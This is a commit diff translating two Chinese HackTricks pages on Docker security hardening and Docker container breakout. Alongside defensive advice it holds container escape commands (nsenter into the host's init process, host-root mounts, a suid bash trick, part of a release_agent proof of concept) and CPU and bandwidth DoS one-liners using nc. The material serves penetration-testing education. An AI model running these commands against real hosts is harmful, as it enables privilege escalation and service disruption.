Translated ['linux-hardening/privilege-escalation/docker-security/README

This commit is contained in:
Translator 2023-08-08 06:27:24 +00:00
parent ea4bc15329
commit 7c4e0b0293
2 changed files with 105 additions and 137 deletions

View file

@ -12,7 +12,7 @@
<summary><a href="https://cloud.hacktricks.xyz/pentesting-cloud/pentesting-cloud-methodology"><strong>☁️ HackTricks云 ☁️</strong></a> -<a href="https://twitter.com/hacktricks_live"><strong>🐦 推特 🐦</strong></a> - <a href="https://www.twitch.tv/hacktricks_live/schedule"><strong>🎙️ Twitch 🎙️</strong></a> - <a href="https://www.youtube.com/@hacktricks_LIVE"><strong>🎥 Youtube 🎥</strong></a></summary>
* 你在一家**网络安全公司**工作吗你想在HackTricks中看到你的**公司广告**吗?或者你想获得**PEASS的最新版本或下载PDF格式的HackTricks**吗?请查看[**订阅计划**](https://github.com/sponsors/carlospolop)
* 你在**网络安全公司**工作吗你想在HackTricks中看到你的**公司广告**吗?或者你想获得**PEASS的最新版本或下载PDF格式的HackTricks**吗?请查看[**订阅计划**](https://github.com/sponsors/carlospolop)
* 发现我们的独家[**NFTs**](https://opensea.io/collection/the-peass-family)收藏品[**The PEASS Family**](https://opensea.io/collection/the-peass-family)
* 获取[**官方PEASS和HackTricks周边产品**](https://peass.creator-spring.com)
* **加入**[**💬**](https://emojipedia.org/speech-balloon/) [**Discord群组**](https://discord.gg/hRep4RUj7f)或[**电报群组**](https://t.me/peass),或在**Twitter**上**关注**我[**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks\_live)**。**
@ -33,7 +33,7 @@ Docker引擎负责运行和管理容器。Docker引擎使用Linux内核的**命
Docker客户端可以通过Unix套接字本地访问Docker引擎也可以通过http远程访问。要进行远程访问需要使用https和**TLS**,以确保机密性、完整性和身份验证。
默认情况下监听Unix套接字`unix:///var/`\
`run/docker.sock`在Ubuntu发行版中Docker启动选项在`/etc/default/docker`中指定。要允许Docker API和客户端远程访问Docker引擎我们需要**使用http套接字暴露Docker守护程序**。可以通过以下方式完成:
`run/docker.sock`在Ubuntu发行版中Docker启动选项在`/etc/default/docker`中指定。要允许Docker API和客户端远程访问Docker引擎我们需要**通过http套接字公开Docker守护程序**。可以通过以下方式完成:
```bash
DOCKER_OPTS="-D -H unix:///var/run/docker.sock -H
tcp://192.168.56.101:2376" -> add this to /etc/default/docker
@ -45,13 +45,13 @@ Sudo service docker restart -> Restart Docker daemon
容器镜像可以存储在私有仓库或公共仓库中。Docker提供以下选项来存储容器镜像
* [Docker Hub](https://hub.docker.com) - 这是Docker提供的公共注册服务
* [Docker Registry](https://github.com/%20docker/distribution) - 这是一个开源项目,用户可以使用它来托管自己的注册服务
* [Docker Hub](https://hub.docker.com) - 这是Docker提供的公共注册服务
* [Docker Registry](https://github.com/%20docker/distribution) - 这是一个开源项目,用户可以使用它来托管自己的注册
* [Docker Trusted Registry](https://www.docker.com/docker-trusted-registry) - 这是Docker的商业实现提供基于角色的用户身份验证以及LDAP目录服务集成。
### 镜像扫描
容器可能存在**安全漏洞**,这可能是由于基础镜像或基础镜像上安装的软件导致的。Docker正在开发一个名为**Nautilus**的项目用于对容器进行安全扫描并列出漏洞。Nautilus通过将每个容器镜像层与漏洞库进行比较以识别安全漏洞。
容器可能存在**安全漏洞**,这可能是由于基础镜像或安装在基础镜像之上的软件引起的。Docker正在开发一个名为**Nautilus**的项目用于对容器进行安全扫描并列出漏洞。Nautilus通过将每个容器镜像层与漏洞库进行比较以识别安全漏洞。
有关更多[**信息,请阅读此文档**](https://docs.docker.com/engine/scan/)。
@ -77,21 +77,25 @@ Note that we do not currently have vulnerability data for your image.
```bash
trivy -q -f json <ontainer_name>:<tag>
```
* [**`snyk`**](https://docs.snyk.io/snyk-cli/getting-started-with-the-cli)
```bash
snyk container test <image> --json-file-output=<output file> --severity-threshold=high
```
* [**`clair-scanner`**](https://github.com/arminc/clair-scanner)
```bash
clair-scanner -w example-alpine.yaml --ip YOUR_LOCAL_IP alpine:3.5
```
### Docker镜像签名
Docker容器镜像可以存储在公共或私有注册表中。为了确认镜像没有被篡改需要对容器镜像进行**签名**。内容**发布者**负责对容器镜像进行签名并将其推送到注册表中。以下是关于Docker内容信任的一些详细信息
Docker容器镜像可以存储在公共或私有注册表中。为了确认镜像没有被篡改需要对容器镜像进行签名。内容发布者负责对容器镜像进行签名并将其推送到注册表中。以下是关于Docker内容信任的一些详细信息
- Docker内容信任是[Notary开源项目](https://github.com/docker/notary)的一种实现。Notary开源项目基于[The Update Framework (TUF)项目](https://theupdateframework.github.io)。
- 使用`export DOCKER_CONTENT_TRUST=1`可以启用Docker内容信任。从Docker版本1.10开始,默认情况下启用内容信任。
- 当内容信任被启用时,我们只能**拉取已签名的镜像**。在推送镜像时,需要输入标记密钥。
- 当发布者首次使用docker push推送镜像时需要为**根密钥和标记密钥**输入一个**密码短语**。其他密钥将自动生成。
- Docker还添加了对使用Yubikey的硬件密钥的支持,详细信息可在[这里](https://blog.docker.com/2015/11/docker-content-trust-yubikey/)找到。
- 使用`export DOCKER_CONTENT_TRUST=1`启用Docker内容信任。从Docker版本1.10开始,默认情况下启用内容信任。
- 当内容信任被启用时,我们只能拉取已签名的镜像。在推送镜像时,需要输入标记密钥。
- 当发布者首次使用docker push推送镜像时需要为根密钥和标记密钥输入密码。其他密钥会自动生成。
- Docker还支持使用Yubikey硬件密钥,详细信息可在[这里](https://blog.docker.com/2015/11/docker-content-trust-yubikey/)找到。
以下是在**启用内容信任且镜像未签名**时出现的**错误**
以下是当启用内容信任但镜像未签名时出现的错误信息
```shell-session
$ docker pull smakam/mybusybox
Using default tag: latest
@ -119,7 +123,7 @@ tar -zcvf private_keys_backup.tar.gz ~/.docker/trust/private
![](<../../../.gitbook/assets/image (9) (1) (2).png>)
\
使用[**Trickest**](https://trickest.com/?utm\_campaign=hacktrics\&utm\_medium=banner\&utm\_source=hacktricks)可以轻松构建和自动化由全球最先进的社区工具提供支持的工作流程。\
使用[**Trickest**](https://trickest.com/?utm\_campaign=hacktrics\&utm\_medium=banner\&utm\_source=hacktricks)轻松构建和自动化由全球**最先进**的社区工具提供支持的工作流程。\
立即获取访问权限:
{% embed url="https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks" %}
@ -135,7 +139,7 @@ tar -zcvf private_keys_backup.tar.gz ~/.docker/trust/private
命名空间对于将一个项目与其他项目隔离开来非常有用可以隔离进程通信、网络、挂载等。它对于将Docker进程与其他进程甚至/proc文件夹隔离开来非常有用因此它无法滥用其他进程来逃逸。
通过使用二进制文件**`unshare`**(使用**`unshare`**系统调用)可以可能"逃逸"或更准确地说是**创建新的命名空间**。Docker默认情况下会阻止此操作但Kubernetes不会在撰写本文时。\
无论如何,这对于创建新的命名空间非常有帮助,但**不能返回到主机默认的命名空间**(除非您可以访问主机命名空间中的某些`/proc`,在其中您可以使用**`nsenter`**进入主机命名空间)。
无论如何,这对于创建新的命名空间非常有帮助,但**无法返回到主机默认的命名空间**(除非您可以访问主机命名空间中的某些`/proc`,在其中您可以使用**`nsenter`**进入主机命名空间)。
**CGroups**
@ -168,7 +172,7 @@ Docker有一个可以激活的模板[https://github.com/moby/moby/tree/master
### 命名空间
**命名空间**是Linux内核的一个功能它将内核资源进行**分区**,使得一组**进程**看到一组**资源**,而**另一组进程**看到另一组**资源**。该功能通过为一组资源和进程使用相同的命名空间,但这些命名空间指不同的资源来实现。资源可以存在于多个空间中。
**命名空间**是Linux内核的一个功能它将内核资源**分区**,使得一组**进程**看到一组**资源**,而**另一组进程**看到另一组**资源**。该功能通过为一组资源和进程使用相同的命名空间,但这些命名空间指的是不同的资源来实现。资源可以存在于多个空间中。
Docker利用以下Linux内核命名空间来实现容器隔离
@ -203,11 +207,11 @@ ls -l /proc/<PID>/ns #Get the Group and the namespaces (some may be uniq to the
[cgroups.md](cgroups.md)
{% endcontent-ref %}
### 权限
### 权限提升
权限允许对root用户的权限进行更精细的控制。Docker使用Linux内核的权限功能来限制容器内部可以执行的操作,而不管用户类型如何。
权限提升允许对root用户可以允许的权限进行更精细的控制。Docker使用Linux内核的能力功能来限制容器内部可以执行的操作,而不管用户类型如何。
当运行Docker容器时进程会放弃敏感权限,以防止进程能够逃离隔离环境。这样可以确保进程无法执行敏感操作和逃离:
当运行Docker容器时进程会放弃敏感的能力,这些能力可以用来逃离隔离。这样可以确保进程无法执行敏感操作并逃离:
{% content-ref url="../linux-capabilities.md" %}
[linux-capabilities.md](../linux-capabilities.md)
@ -231,9 +235,9 @@ AppArmor是一种内核增强功能用于将容器限制在一组有限的资
### Docker中的SELinux
[SELinux](https://www.redhat.com/en/blog/latest-container-exploit-runc-can-be-blocked-selinux)是一个标签系统。每个进程和每个文件系统对象都有一个标签。SELinux策略定义了关于进程标签在系统上可以执行的所有其他标签的规则。
[SELinux](https://www.redhat.com/en/blog/latest-container-exploit-runc-can-be-blocked-selinux)是一个标签系统。每个进程和每个文件系统对象都有一个标签。SELinux策略定义了关于进程标签在系统上可以做什么的规则。
容器引擎使用单个受限SELinux标签通常为`container_t`)启动容器进程,然后将容器内部的容器设置为标记为`container_file_t`。SELinux策略规则基本上表示**`container_t`进程只能读取/写入/执行标记为`container_file_t`的文件**。
容器引擎使用单个受限的SELinux标签启动容器进程通常为`container_t`,然后将容器内部的容器设置为标记为`container_file_t`。SELinux策略规则基本上表示**`container_t`进程只能读取/写入/执行标记为`container_file_t`的文件**。
{% content-ref url="../selinux.md" %}
[selinux.md](../selinux.md)
@ -247,11 +251,29 @@ AppArmor是一种内核增强功能用于将容器限制在一组有限的资
[authz-and-authn-docker-access-authorization-plugin.md](authz-and-authn-docker-access-authorization-plugin.md)
{% endcontent-ref %}
## 容器的DoS攻击
如果您没有正确限制容器可以使用的资源被入侵的容器可能会对其运行的主机进行DoS攻击。
* CPU DoS
```bash
# stress-ng
sudo apt-get install -y stress-ng && stress-ng --vm 1 --vm-bytes 1G --verify -t 5m
# While loop
docker run -d --name malicious-container -c 512 busybox sh -c 'while true; do :; done'
```
* 带宽拒绝服务攻击
Bandwidth DoS带宽拒绝服务攻击
```bash
nc -lvp 4444 >/dev/null & while true; do cat /dev/urandom | nc <target IP> 4444; done
```
## 有趣的Docker标志
### --privileged标志
在下面的页面中,您可以了解`--privileged`标志意味着什么:
在下面的页面中,您可以了解**`--privileged`标志意味着什么**
{% content-ref url="docker-privileged.md" %}
[docker-privileged.md](docker-privileged.md)
@ -261,37 +283,27 @@ AppArmor是一种内核增强功能用于将容器限制在一组有限的资
#### no-new-privileges
如果您正在运行一个容器,攻击者以低权限用户的身份获得访问权限。如果您有一个配置错误的suid二进制文件攻击者可能会滥用它并在容器内提升权限。这可能允许他逃离容器。
如果您正在运行一个容器,攻击者以低权限用户的身份获得访问权限。如果您有一个**配置错误的suid二进制文件**,攻击者可能会滥用它并在容器内**提升权限**。这可能使他能够逃离容器。
使用启用了`no-new-privileges`选项的容器将防止此类权限提升。
使用启用了**`no-new-privileges`**选项的容器将**防止此类权限提升**
```
docker run -it --security-opt=no-new-privileges:true nonewpriv
```
#### 其他
In addition to the security measures mentioned above, there are a few other considerations to keep in mind when it comes to Docker security.
In addition to the security measures mentioned above, there are a few other steps you can take to further harden your Docker environment:
##### 1. Limit Container Capabilities
1. **Limit container capabilities**: By default, Docker containers have a wide range of capabilities, which can potentially be exploited by attackers. You can restrict these capabilities by using the `--cap-drop` and `--cap-add` flags when running containers. Only allow the necessary capabilities for your application to function properly.
By default, Docker containers have the same capabilities as the host system. This means that if a container is compromised, the attacker will have the same level of access as the host. To mitigate this risk, it is recommended to limit the capabilities of containers by using the `--cap-drop` flag when running them. This flag allows you to drop specific capabilities from the container, reducing the potential impact of a compromise.
2. **Use seccomp profiles**: Seccomp (secure computing mode) is a Linux kernel feature that allows you to restrict the system calls that a process can make. By using seccomp profiles, you can further limit the attack surface of your containers. Docker provides a default seccomp profile, but you can also create custom profiles based on your specific requirements.
##### 2. Use AppArmor or SELinux Profiles
3. **Enable AppArmor or SELinux**: AppArmor and SELinux are mandatory access control (MAC) systems that provide an additional layer of security by enforcing strict access controls on processes and files. By enabling and configuring either of these systems, you can further enhance the security of your Docker environment.
AppArmor and SELinux are security frameworks that can be used to enforce mandatory access control policies on Linux systems. By creating and enforcing profiles for Docker containers, you can further restrict their access to system resources and reduce the risk of privilege escalation. Both AppArmor and SELinux provide granular control over container capabilities, file access, network access, and more.
4. **Regularly update Docker and its dependencies**: Docker releases regular updates that include security patches and bug fixes. It is important to keep your Docker installation up to date to ensure that you have the latest security enhancements.
##### 3. Monitor Container Activity
5. **Monitor Docker logs**: Monitoring Docker logs can help you detect any suspicious activities or potential security breaches. Configure a centralized logging system to collect and analyze Docker logs for better visibility into your container environment.
Monitoring container activity is crucial for detecting and responding to potential security incidents. Docker provides built-in logging capabilities that can be used to monitor container activity, including system calls, network traffic, and file access. By analyzing these logs, you can identify any suspicious or malicious activity and take appropriate action.
##### 4. Regularly Update Docker and Containers
Keeping Docker and its containers up to date is essential for maintaining a secure environment. Docker regularly releases security updates and patches, so it is important to stay current with these updates to protect against known vulnerabilities. Additionally, regularly updating the software and libraries within your containers is also important to ensure that any security patches or bug fixes are applied.
##### 5. Harden the Host System
While Docker provides isolation between containers, it is still important to harden the host system to prevent unauthorized access. This includes implementing strong access controls, regularly patching the host system, and disabling unnecessary services and ports. By securing the host system, you can minimize the risk of an attacker gaining access to the Docker environment.
By following these additional security measures, you can enhance the overall security of your Docker environment and reduce the risk of privilege escalation and other security incidents.
By implementing these additional security measures, you can significantly reduce the risk of privilege escalation and other security vulnerabilities in your Docker environment.
```bash
#You can manually add/drop capabilities with
--cap-add
@ -333,11 +345,11 @@ docker build --secret my_key=my_value ,src=path/to/my_secret_file .
```
在您的文件中,将您的秘密指定为键值对。
这些秘密将从镜像构建缓存和最终镜像中排除
这些秘密将从镜像构建缓存中排除,并且不会出现在最终镜像中
如果您需要在运行的容器中使用您的秘密而不仅仅是在构建镜像时请使用Docker Compose或Kubernetes。
使用Docker Compose将秘密键值对添加到一个服务中,并指定秘密文件。感谢[Stack Exchange答案](https://serverfault.com/a/936262/535325)提供的Docker Compose秘密提示下面的示例是根据该答案进行调整的。
使用Docker Compose将秘密键值对添加到服务中并指定秘密文件。感谢[Stack Exchange答案](https://serverfault.com/a/936262/535325)提供的Docker Compose秘密提示下面的示例是根据该答案进行调整的。
带有秘密的示例`docker-compose.yml`
```yaml
@ -361,7 +373,7 @@ file: ./my_secret_file.txt
### gVisor
**gVisor**是一个用Go编写的应用内核它实现了Linux系统的大部分功能。它包括一个名为`runsc`的[Open Container Initiative (OCI)](https://www.opencontainers.org)运行时,提供了应用程序和主机内核之间的**隔离边界**。`runsc`运行时与Docker和Kubernetes集成使得运行沙盒容器变得简单。
**gVisor**是一个用Go编写的应用程序内核它实现了Linux系统的大部分功能。它包括一个名为`runsc`的[Open Container Initiative (OCI)](https://www.opencontainers.org)运行时,提供了应用程序和主机内核之间的**隔离边界**。`runsc`运行时与Docker和Kubernetes集成使得运行沙盒容器变得简单。
{% embed url="https://github.com/google/gvisor" %}
@ -376,19 +388,19 @@ file: ./my_secret_file.txt
* **不要使用`--privileged`标志或在容器内挂载**[**Docker套接字**](https://raesene.github.io/blog/2016/03/06/The-Dangers-Of-Docker.sock/)**。** Docker套接字允许生成容器因此通过使用`--privileged`标志运行另一个容器是控制主机的简单方法。
* **不要在容器内以root身份运行。使用**[**不同的用户**](https://docs.docker.com/develop/develop-images/dockerfile\_best-practices/#user)**和**[**用户命名空间**](https://docs.docker.com/engine/security/userns-remap/)**。**容器中的root与主机上的root相同除非使用用户命名空间重新映射。它仅受到轻微的限制主要是通过Linux命名空间、能力和cgroups。
* [**丢弃所有能力**](https://docs.docker.com/engine/reference/run/#runtime-privilege-and-linux-capabilities)**`--cap-drop=all`),仅启用所需的能力**`--cap-add=...`)。许多工作负载不需要任何能力,添加能力会增加潜在攻击的范围。
* [**使用“no-new-privileges”安全选项**](https://raesene.github.io/blog/2019/06/01/docker-capabilities-and-no-new-privs/)防止进程获更多特权例如通过suid二进制文件。
* [**使用“no-new-privileges”安全选项**](https://raesene.github.io/blog/2019/06/01/docker-capabilities-and-no-new-privs/)防止进程获更多特权例如通过suid二进制文件。
* [**限制容器可用的资源**](https://docs.docker.com/engine/reference/run/#runtime-constraints-on-resources)**。**资源限制可以保护机器免受拒绝服务攻击。
* **调整**[**seccomp**](https://docs.docker.com/engine/security/seccomp/)**、**[**AppArmor**](https://docs.docker.com/engine/security/apparmor/)**或SELinux**配置文件,将容器可用的操作和系统调用限制为最小。
* **使用**[**官方的Docker镜像**](https://docs.docker.com/docker-hub/official\_images/)**并要求签名**,或者基于官方镜像构建自己的镜像。不要继承或使用[带后门的](https://arstechnica.com/information-technology/2018/06/backdoored-images-downloaded-5-million-times-finally-removed-from-docker-hub/)镜像。还要将根密钥和密码短语存放在安全的地方。Docker计划使用UCP来管理密钥。
* **使用**[**官方的Docker镜像**](https://docs.docker.com/docker-hub/official\_images/)**并要求签名**,或者基于官方镜像构建自己的镜像。不要继承或使用[带后门的](https://arstechnica.com/information-technology/2018/06/backdoored-images-downloaded-5-million-times-finally-removed-from-docker-hub/)镜像。还要将根密钥和密码短语存放在安全的地方。Docker计划使用UCP来管理密钥。
* **定期重新构建**您的镜像,以**应用安全补丁到主机和镜像**
* 明智地**管理您的密钥**,使攻击者难以访问它们。
* 如果**公开了Docker守护程序请使用HTTPS**进行客户端和服务器身份验证。
* 在Dockerfile中**优先使用COPY而不是ADD**。ADD会自动解压缩文件并可以从URL复制文件。COPY没有这些功能。尽量避免使用ADD以免受到通过远程URL和Zip文件进行的攻击。
* 为每个微服务**使用单独的容器**
* **不要在容器中放置ssh**“docker exec”可用于通过ssh连接到容器。
* 在Dockerfile中**优先使用COPY而不是ADD**。ADD会自动解压缩文件并可以从URL复制文件。COPY没有这些功能。尽量避免使用ADD以免受到通过远程URL和Zip文件进行的攻击。
* 为每个微服务**使用单独的容器**
* **不要在容器中放置ssh**“docker exec”可用于通过ssh访问容器。
* 使用**较小的**容器**镜像**
## Docker越权/
## Docker越权/权限提升
如果您**在Docker容器内部**或者您可以访问**docker组中的用户**,您可以尝试**逃逸和提升权限**
@ -406,8 +418,8 @@ file: ./my_secret_file.txt
## 加固Docker
* 工具[**docker-bench-security**](https://github.com/docker/docker-bench-security)是一个脚本用于检查在生产环境中部署Docker容器时的几十个常见最佳实践。这些测试都是自动化的,并基于[CIS Docker Benchmark v1.3.1](https://www.cisecurity.org/benchmark/docker/)。\
您需要从运行Docker的主机或具有足够权的容器中运行该工具。了解**如何在README中运行它**[**https://github.com/docker/docker-bench-security**](https://github.com/docker/docker-bench-security)。
* 工具[**docker-bench-security**](https://github.com/docker/docker-bench-security)是一个脚本用于检查在生产环境中部署Docker容器时的许多常见最佳实践。这些测试都是自动化的,并基于[CIS Docker Benchmark v1.3.1](https://www.cisecurity.org/benchmark/docker/)。\
您需要从运行Docker的主机或具有足够权的容器中运行该工具。了解**如何在README中运行它**[**https://github.com/docker/docker-bench-security**](https://github.com/docker/docker-bench-security)。
## 参考资料
@ -424,11 +436,11 @@ file: ./my_secret_file.txt
<details>
<summary><a href="https://cloud.hacktricks.xyz/pentesting-cloud/pentesting-cloud-methodology"><strong>☁️ HackTricks云 ☁️</strong></a> -<a href="https://twitter.com/hacktricks_live"><strong>🐦 推特 🐦</strong></a> - <a href="https://www.twitch.tv/hacktricks_live/schedule"><strong>🎙️ Twitch 🎙️</strong></a> - <a href="https://www.youtube.com/@hacktricks_LIVE"><strong>🎥 YouTube 🎥</strong></a></summary>
* 你在一家**网络安全公司**工作吗?想要在HackTricks中**宣传你的公司**吗?或者你想要**获取PEASS的最新版本或下载HackTricks的PDF**吗?请查看[**订阅计划**](https://github.com/sponsors/carlospolop)
* 发现我们的独家[**NFTs**](https://opensea.io/collection/the-peass-family)收藏品——[**The PEASS Family**](https://opensea.io/collection/the-peass-family)
* 你在一家**网络安全公司**工作吗?你想在HackTricks中看到你的**公司广告**吗?或者你想获得**PEASS的最新版本或下载HackTricks的PDF**吗?请查看[**订阅计划**](https://github.com/sponsors/carlospolop)
* 发现我们的独家[**NFTs**](https://opensea.io/collection/the-peass-family)收藏品- [**The PEASS Family**](https://opensea.io/collection/the-peass-family)
* 获取[**官方PEASS和HackTricks周边产品**](https://peass.creator-spring.com)
* **加入**[**💬**](https://emojipedia.org/speech-balloon/) [**Discord群组**](https://discord.gg/hRep4RUj7f)或[**电报群组**](https://t.me/peass),或者**关注**我在**Twitter**上的[**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks\_live)****
* **通过向**[**hacktricks repo**](https://github.com/carlospolop/hacktricks) **和**[**hacktricks-cloud repo**](https://github.com/carlospolop/hacktricks-cloud) **提交PR来分享你的黑客技巧。**
* **加入** [**💬**](https://emojipedia.org/speech-balloon/) [**Discord群组**](https://discord.gg/hRep4RUj7f) 或 [**Telegram群组**](https://t.me/peass) 或 **关注**我在**Twitter**上的[**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
* **通过向** [**hacktricks repo**](https://github.com/carlospolop/hacktricks) **和** [**hacktricks-cloud repo**](https://github.com/carlospolop/hacktricks-cloud) **提交PR来分享你的黑客技巧。**
</details>

View file

@ -1,13 +1,13 @@
# Docker越狱/权限提升
# Docker越权/提权
<details>
<summary><a href="https://cloud.hacktricks.xyz/pentesting-cloud/pentesting-cloud-methodology"><strong>☁️ HackTricks云 ☁️</strong></a> -<a href="https://twitter.com/hacktricks_live"><strong>🐦 推特 🐦</strong></a> - <a href="https://www.twitch.tv/hacktricks_live/schedule"><strong>🎙️ Twitch 🎙️</strong></a> - <a href="https://www.youtube.com/@hacktricks_LIVE"><strong>🎥 YouTube 🎥</strong></a></summary>
* 你在一家**网络安全公司**工作吗你想在HackTricks中看到你的**公司广告**吗?或者你想获得**PEASS的最新版本或下载PDF格式的HackTricks**吗?请查看[**订阅计划**](https://github.com/sponsors/carlospolop)
* 你在一家**网络安全公司**工作吗你想在HackTricks中看到你的**公司广告**吗?或者你想获得**PEASS的最新版本或下载HackTricks的PDF**吗?请查看[**订阅计划**](https://github.com/sponsors/carlospolop)
* 发现我们的独家[**NFTs**](https://opensea.io/collection/the-peass-family)收藏品[**The PEASS Family**](https://opensea.io/collection/the-peass-family)
* 获取[**官方PEASS和HackTricks周边产品**](https://peass.creator-spring.com)
* **加入**[**💬**](https://emojipedia.org/speech-balloon/) [**Discord群组**](https://discord.gg/hRep4RUj7f)或[**电报群组**](https://t.me/peass)或**关注**我在**Twitter**上的[**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks_live)**。**
* 获取[**官方PEASS和HackTricks周边**](https://peass.creator-spring.com)
* **加入**[**💬**](https://emojipedia.org/speech-balloon/) [**Discord群组**](https://discord.gg/hRep4RUj7f)或[**电报群组**](https://t.me/peass)或**关注**我在**Twitter**上的[**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks\_live)**。**
* **通过向**[**hacktricks repo**](https://github.com/carlospolop/hacktricks) **和**[**hacktricks-cloud repo**](https://github.com/carlospolop/hacktricks-cloud) **提交PR来分享你的黑客技巧。**
</details>
@ -22,9 +22,9 @@
## 自动枚举和逃逸
* [**linpeas**](https://github.com/carlospolop/PEASS-ng/tree/master/linPEAS):它可以**枚举容器**
* [**linpeas**](https://github.com/carlospolop/PEASS-ng/tree/master/linPEAS):它可以**枚举容器**
* [**CDK**](https://github.com/cdk-team/CDK#installationdelivery):这个工具非常**有用,可以枚举你所在的容器,甚至尝试自动逃逸**
* [**amicontained**](https://github.com/genuinetools/amicontained)用于获取容器的特权,以找到逃逸的方法的有用工具
* [**amicontained**](https://github.com/genuinetools/amicontained)有用的工具,可以获取容器的权限,以便找到逃逸的方法
* [**deepce**](https://github.com/stealthcopter/deepce):用于枚举和逃逸容器的工具
* [**grype**](https://github.com/anchore/grype)获取镜像中安装的软件中包含的CVE
@ -68,11 +68,11 @@ Docker守护程序也可能在端口上进行监听默认为2375、2376
* ...
{% endhint %}
## 滥用权限逃逸
## 特权滥用逃逸
您应该检查容器的权限,如果具有以下任何权限之一,您可能可以从中逃逸:**`CAP_SYS_ADMIN`**、**`CAP_SYS_PTRACE`**、**`CAP_SYS_MODULE`**、**`DAC_READ_SEARCH`**、**`DAC_OVERRIDE, CAP_SYS_RAWIO`**、**`CAP_SYSLOG`**、**`CAP_NET_RAW`**、**`CAP_NET_ADMIN`**
您应该检查容器的特权,如果具有以下任何一种特权,则可能能够从中逃逸:**`CAP_SYS_ADMIN`**、**`CAP_SYS_PTRACE`**、**`CAP_SYS_MODULE`**、**`DAC_READ_SEARCH`**、**`DAC_OVERRIDE, CAP_SYS_RAWIO`**、**`CAP_SYSLOG`**、**`CAP_NET_RAW`**、**`CAP_NET_ADMIN`**
您可以使用**先前提到的自动工具**或以下命令来检查当前容器的权
您可以使用**先前提到的自动工具**或以下命令来检查当前容器的权:
```bash
capsh --print
```
@ -96,7 +96,7 @@ capsh --print
* `--cgroupns=host`
* `Mount /dev`
`--privileged`标志引入了重大的安全问题,该漏洞利用依赖于启用了该标志的Docker容器的启动。使用此标志时容器可以完全访问所有设备并且不受seccomp、AppArmor和Linux能力的限制。您可以在此页面上**阅读有关`--privileged`的所有影响**
`--privileged`标志引入了重大的安全问题,利用该漏洞需要启用该标志来启动一个docker容器。使用此标志时容器可以完全访问所有设备并且没有受到seccomp、AppArmor和Linux能力的限制。您可以在此页面上**阅读有关`--privileged`的所有影响**
{% content-ref url="../docker-privileged.md" %}
[docker-privileged.md](../docker-privileged.md)
@ -104,9 +104,9 @@ capsh --print
### 特权 + hostPID
通过这些权限,您可以轻松地**切换到以root身份在主机上运行的进程的命名空间**比如initpid:1只需运行`nsenter --target 1 --mount --uts --ipc --net --pid -- bash`
有了这些权限,您只需运行`nsenter --target 1 --mount --uts --ipc --net --pid -- bash`,就可以**进入以root身份在主机上运行的进程的命名空间**例如init (pid:1)。
在容器中执行以下命令进行测试:
在容器中执行以下测试命令
```bash
docker run --rm -it --pid=host --privileged ubuntu bash
```
@ -306,7 +306,7 @@ sleep 1
echo "Done! Output:"
cat ${OUTPUT_PATH}
```
在特权容器中执行PoC应该会产生类似以下输出:
在特权容器中执行PoC应该会产生类似以下输出
```bash
root@container:~$ ./release_agent_pid_brute.sh
Checking pid 100
@ -339,13 +339,13 @@ root 10 2 0 11:25 ? 00:00:00 [ksoftirqd/0]
有几个文件可能被挂载,这些文件提供了关于底层主机的信息。其中一些甚至可能指示主机在发生某些事件时执行某些操作(这将允许攻击者从容器中逃逸出去)。
滥用这些文件可能会导致以下情况发生:
- release_agent之前已经介绍过
- [binfmt_misc](sensitive-mounts.md#proc-sys-fs-binfmt_misc)
- [core_pattern](sensitive-mounts.md#proc-sys-kernel-core_pattern)
- [uevent_helper](sensitive-mounts.md#sys-kernel-uevent_helper)
- [modprobe](sensitive-mounts.md#proc-sys-kernel-modprobe)
* release_agent之前已经介绍过
* [binfmt_misc](sensitive-mounts.md#proc-sys-fs-binfmt_misc)
* [core_pattern](sensitive-mounts.md#proc-sys-kernel-core_pattern)
* [uevent_helper](sensitive-mounts.md#sys-kernel-uevent_helper)
* [modprobe](sensitive-mounts.md#proc-sys-kernel-modprobe)
然而,您可以在此页面找到其他敏感文件进行检查:
然而,您可以在此页面找到其他敏感文件进行检查:
{% content-ref url="sensitive-mounts.md" %}
[sensitive-mounts.md](sensitive-mounts.md)
@ -359,8 +359,8 @@ docker run --rm -it -v /:/host ubuntu bash
```
### 使用2个shell和主机挂载进行特权提升
如果你在一个容器内以**root身份**访问,并且该容器挂载了主机上的某个文件夹,同时你以非特权用户的身份**逃逸到了主机**并且对挂载的文件夹有读取权限。\
你可以在**容器内的挂载文件夹**中创建一个**bash suid文件**然后从**主机上执行**它来进行特权提升。
如果你以**容器内的root用户身份**访问一个已挂载主机文件夹的容器,并且你已经以非特权用户的身份逃逸到主机并具有对挂载文件夹的读取权限。\
你可以在**容器内的挂载文件夹**中创建一个**bash suid文件**并从主机上执行它以进行特权提升。
```bash
cp /bin/bash . #From non priv inside mounted folder
# You need to copy it from the host as the bash binaries might be diferent in the host and in the container
@ -368,13 +368,14 @@ chown root:root bash #From container as root inside mounted folder
chmod 4777 bash #From container as root inside mounted folder
bash -p #From non priv inside mounted folder
```
### 使用两个shell进行特权提升
### 使用2个shell进行特权提升
如果您在容器内部具有**root访问权限**,并且已经以非特权用户的身份**逃逸到主机**则可以滥用这两个shell来在主机内部进行**特权提升**前提是您在容器内部具有MKNOD功能默认情况下是有的如[**此文章中所解释的**](https://labs.f-secure.com/blog/abusing-the-access-to-mount-namespaces-through-procpidroot/)。
如果您在容器内部具有**root访问权限**,并且已经以非特权用户的身份**逃逸到主机**则可以滥用这两个shell来在主机内部进行**特权提升**前提是您在容器内部具有MKNOD功能默认情况下是有的如[**此文章中所解释的**](https://labs.f-secure.com/blog/abusing-the-access-to-mount-namespaces-through-procpidroot/)。\
